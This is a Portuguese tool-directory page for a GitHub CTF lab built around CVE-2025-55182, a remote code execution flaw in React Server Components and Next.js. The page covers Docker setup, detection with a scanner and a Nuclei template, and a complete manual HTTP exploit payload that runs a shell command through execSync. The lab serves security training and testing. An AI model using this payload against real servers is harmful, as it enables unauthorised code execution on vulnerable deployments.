Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182-React2Shell-Lab — Ambiente de laboratório CTF explorando a CVE-2025-55182 (RCE em React Server Components) com blog Next.js vulnerável, scripts de detecção e payloads de exploração manual para treinamento prático de segurança. | Kitploit
Ferramentas/GitHubGitHub/goultarde/cve-2025-55182-react2shell-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFAprendizado e EducaçãoLabs e Prática
GitHubgoultarde/cve-2025-55182-react2shell-lab

CVE-2025-55182-React2Shell-Lab

Ambiente de laboratório CTF explorando a CVE-2025-55182 (RCE em React Server Components) com blog Next.js vulnerável, scripts de detecção e payloads de exploração manual para treinamento prático de segurança.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 7 mesesAinda não revisado

CyberSec Blog CTF - React2Shell PoC

Este repositório fornece um ambiente CTF (Capture The Flag) vulnerável baseado em um blog de cibersegurança usando Next.js e React Server Components.

CVE-2025-55182 : Vulnerabilidade de execução remota de código (RCE) pré-autenticação no React Server Components versões 19.0.0, 19.1.0, 19.1.1 e 19.2.0. O código vulnerável desserializa de forma insegura os payloads das requisições HTTP para os endpoints Server Function.

CVE-2025-66478 : Impacto em aplicações Next.js que usam o App Router.


Descrição do CTF

Este desafio apresenta um blog de cibersegurança com:

  • 5 artigos sobre temas de segurança (Web, React, CTF, Next.js, Desserialização)
  • 3 autores fictícios
  • Uma interface moderna em modo escuro

O blog utiliza versões vulneráveis do React e Next.js, permitindo a exploração da falha React2Shell.

Versões vulneráveis utilizadas

PackageVersion
next16.0.6
react19.2.0
react-dom19.2.0

Como iniciar o CTF

Com Docker (recomendado)

root@kitploit:~
# Construir a imagem
docker build -t react2shell-poc .

# Iniciar o contêiner
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc

Sem Docker

root@kitploit:~
npm install
npm run build
npm run start

Em seguida, acesse http://127.0.0.1:3000

Como detectar a vulnerabilidade

Com o scanner AssetNote

root@kitploit:~
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt

python3 scanner.py -u http://127.0.0.1:3000

Com Nuclei

root@kitploit:~
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

Como explorar

Com a ferramenta React2Shell

Veja a pasta React2Shell/ para o exploit Python.

Payload HTTP manual

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

A resposta conterá o resultado do comando id no cabeçalho x-action-redirect.

Referências

  • Security Advisory: Critical RCE Vulnerabilities in React Server Components & Next.js
  • CVE-2025-55182 - NVD
  • CVE-2025-66478 - Next.js Security Advisory
  • React2Shell Scanner - AssetNote

Desafio CTF personalizado baseado no template simple-nextjs-blog e no ambiente vulnerável CVE-2025-55182.

Baixar ferramenta